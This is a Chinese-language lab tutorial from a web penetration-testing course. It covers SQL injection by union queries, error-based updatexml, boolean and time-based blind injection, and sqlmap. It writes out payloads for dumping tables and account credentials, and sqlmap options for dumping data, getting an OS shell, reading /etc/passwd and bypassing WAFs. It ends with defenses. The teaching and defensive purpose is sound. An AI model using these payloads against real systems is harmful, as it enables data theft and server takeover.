一、前言:为什么 SQL 注入至今仍是高危漏洞
在 Web 渗透测试项目 6《利用漏洞注入》体系中,SQL 注入与文件包含、XXE、命令注入同属注入类核心漏洞,其中 SQL 注入危害等级最高。 传统 Web 开发中,程序员常直接拼接用户传入 GET/POST 参数到 SQL 查询语句,例如:
php
运行
$id = $_GET['id']; $sql = "select * from user where id = ".$id;用户可控输入未做过滤、未使用预编译,攻击者可构造特殊字符改变 SQL 原有逻辑,实现查询数据库、读取系统文件、执行系统命令、写入 WebShell 等操作。 很多人认为 “现在框架都用 ORM,SQL 注入已经绝迹”,但实际生产环境中:老旧项目、外包开发后台、自定义原生 SQL 接口、存储过程滥用、过滤逻辑存在绕过缺陷,依然大量存在注入漏洞。本次任务 6.3~6.6 完整覆盖手工注入 + 工具注入两大方向,是 Web 安全入门必掌握核心技能。
二、SQL 注入基础原理与漏洞分类
2.1 注入核心成因
- 用户输入可控:URL 参数、POST 表单、Cookie、HTTP 请求头、JSON 参数等外部输入可被篡改;
- 代码直接拼接 SQL 语句,无预处理、无转义过滤;
- 数据库错误信息对外暴露,为攻击者提供数据支撑。
2.2 主流 SQL 注入类型(对应本次实验任务)
- 联合查询注入(任务 6.3 手工验证 SQL 注入)页面会直接返回 SQL 查询结果,通过
union select拼接额外查询语句,直接读取库、表、字段数据,最简单直观。 - 基于错误的 SQL 注入(任务 6.4)页面无数据回显,但会打印数据库报错信息,利用 updatexml、extractvalue 等报错函数,将查询数据夹带在报错信息中输出,适用于屏蔽正常回显但未关闭报错的页面。
- SQL 盲注(任务 6.5)页面无数据、无报错,仅通过页面返回状态区分查询真假,分为布尔盲注(页面长短 / 内容差异)、时间盲注(sleep 延时判断),是渗透中最常见场景。
- 自动化工具注入(任务 6.6 SQLMap)手工注入效率低下,大规模渗透依赖 SQLMap,支持自动探测注入点、脱库、读写文件、提权,内置海量绕过 Payload。
三、任务 6.3 手工联合查询 SQL 注入实战
3.1 漏洞判断
测试 URL:shturl.cc/TPSGxs54LU5ujV8fwqQV
- 加单引号测试:
id=1',页面出现数据库语法错误,证明存在字符型注入;数字型注入无引号即可报错。 - 判断字段数:
id=1 order by 3--+,调整数字直到页面报错,确定查询语句返回列数。 - 寻找显错位:
id=-1 union select 1,2,3--+,使用不存在 id 让原查询失效,数字出现在页面的位置即为显错位,可替换为查询语句。
3.2 脱库完整 Payload 流程
- 查询数据库版本、当前库名:
sql
-1 union select version(),database(),user()--+- 查询当前库所有表名:
sql
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+- 查询目标表字段:
sql
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user'--+- 读取账号密码数据:
sql
-1 union select id,username,password from user--+3.3 实操常见坑点
- 注释符失效:
--+、#、%23三种注释交替测试; - 字符编码问题:中文表名需十六进制编码绕过引号限制;
- 页面过滤 union/select:使用大小写变形、换行、注释分割绕过。
四、任务 6.4 基于错误的 SQL 注入(报错注入)
4.1 适用场景
页面无任何查询数据回显,但开启 PHP 错误提示,数据库报错会打印在页面,无法使用 union 联合查询,依靠报错函数带出数据。 核心函数:updatexml()、extractvalue(),两个函数第二个参数接收 XPath 表达式,传入特殊非法字符会触发报错并打印传入内容。
4.2 updatexml 注入 Payload 模板
sql
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+0x7e是波浪号~,用于分割报错内容,方便提取数据;- 嵌套子查询可依次爆出库名、表名、字段、账号密码;
- 函数存在长度限制,需截取字符串分段读取完整数据。
4.3 报错注入优缺点
优点:不需要页面回显数据,仅依赖报错信息,适配绝大多数中小型后台系统; 缺点:单次报错输出字符有限,读取大数据需要多次截取,手工操作繁琐。
五、任务 6.5 SQL 盲注原理与手工利用
5.1 布尔盲注
页面仅两种状态:查询正确页面正常显示,查询错误页面空白 / 内容变短,通过二分法逐字符猜解数据。 核心逻辑:and ascii(substr((select database()),1,1))>100--+通过对比 ASCII 码大小,判断第一位字符,循环遍历所有字符,完整爆出库名、表名。
5.2 时间盲注
页面无任何内容差异,无法通过页面判断真假,使用sleep(N)延时函数,查询条件为真时页面加载延迟 N 秒,以此判断字符。 核心 Payload:
sql
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--+5.3 盲注实操痛点
手工盲注效率极低,一个 8 位库名需要上百次请求,实际渗透中仅用于验证漏洞存在,正式脱库全部交给 SQLMap 自动化处理。
六、任务 6.6 SQLMap 自动化注入工具高阶实战
手工注入仅用于学习原理,真实渗透测试中 SQLMap 是行业标准工具,本任务覆盖核心常用参数。
6.1 基础探测注入点
bash
运行
# GET型URL注入探测 sqlmap -u "http://test.com/detail.php?id=1" # POST表单注入,加载请求包 sqlmap -r post.txt6.2 核心脱库参数
bash
运行
# 查询所有数据库 sqlmap -u url --dbs # 指定库查询所有表 sqlmap -u url -D testdb --tables # 指定库、表查询字段 sqlmap -u url -D testdb -T user --columns # 导出表内全部数据 sqlmap -u url -D testdb -T user --dump6.3 高阶渗透功能
- 获取服务器操作系统 Shell:
--os-shell,写入 WebShell 执行系统命令; - 读取服务器文件:
--file-read="/etc/passwd"; - 绕过 WAF 过滤:
--tamper=space2comment内置上百种绕过脚本; - 延时盲注专用参数:
--time-sec=3设置延时时间。
6.4 SQLMap 使用注意事项
- 禁止未经授权扫描第三方网站,仅用于自己授权测试靶场;
- 高并发请求容易触发网站防护,可设置延迟
--delay=1; - WAF 会拦截 SQLMap 特征 Payload,需搭配 tamper 脚本混淆参数。
七、SQL 注入漏洞综合防御方案
结合本次全部注入实验,从开发、运维、架构三层给出完整防御策略,杜绝注入风险:
7.1 开发层:杜绝根源(最核心)
- 强制使用预编译语句(PDO/MyBatis 预处理)将 SQL 模板与用户输入分离,输入仅作为参数传递,数据库不会解析输入内容为 SQL 逻辑,从底层阻断注入。禁止任何字符串拼接 SQL。
- 输入过滤与白名单校验 对数字参数强制 int 转换;字符串参数采用白名单,仅允许业务所需字符,拒绝单引号、#、and、union 等特殊 SQL 关键字。
- 关闭详细数据库错误回显 生产环境统一自定义错误页面,不输出 SQL 语法错误、库名、表名,彻底屏蔽报错注入利用条件。
7.2 运维层:边界防护
- 部署 WAF / 云 WAF,拦截 SQL 注入特征请求;
- 数据库账号最小权限原则,业务账号禁止 file、super 等高权限,防止读取服务器文件、提权;
- 定期备份数据库,限制数据库外网访问,仅内网应用服务器可连接。
7.3 架构层
使用 ORM 框架替代原生 SQL;微服务接口统一参数校验网关;定期开展渗透测试、代码审计,扫描潜在注入漏洞。
八、注入类漏洞横向拓展(结合本项目其他知识点)
本项目 6 除 SQL 注入外,还包含文件包含、文件上传、XXE、命令注入,全部属于注入攻击,核心逻辑一致:用户可控输入被解析为代码 / 语句执行。
- XXE 注入:外部 XML 实体注入,输入 XML 内容被服务器解析,读取本地文件、发起内网请求;
- 命令注入:输入直接拼接系统命令,如 ping 功能未过滤
|、&&符号,执行任意系统命令; - 文件包含注入:通过
?page=index.php参数读取本地文件,配合文件上传可实现远程代码执行。 所有注入漏洞统一防御思路:分离输入与执行逻辑、严格过滤特殊控制字符、最小权限运行服务。
九、总结
SQL 注入作为 Web 安全入门核心漏洞,看似简单,变种覆盖显错、报错、盲注、工具自动化多种场景,渗透测试人员必须吃透手工注入底层原理,才能看懂工具运行逻辑,同时掌握漏洞修复手段。 在企业安全建设中,很多开发人员忽视预编译、随意拼接 SQL,导致大量高危漏洞上线。安全从业者不仅要会利用漏洞,更要理解漏洞产生根源,给开发输出标准化防御规范。 本次实验从手工验证到自动化脱库完整复现 SQL 注入全流程,覆盖企业渗透测试 90% 以上 SQL 注入场景,熟练掌握后可独立完成 Web 站点注入漏洞挖掘与风险评估。后续可结合文件上传、文件包含漏洞组合利用,实现从 SQL 注入到服务器完整沦陷的渗透链路。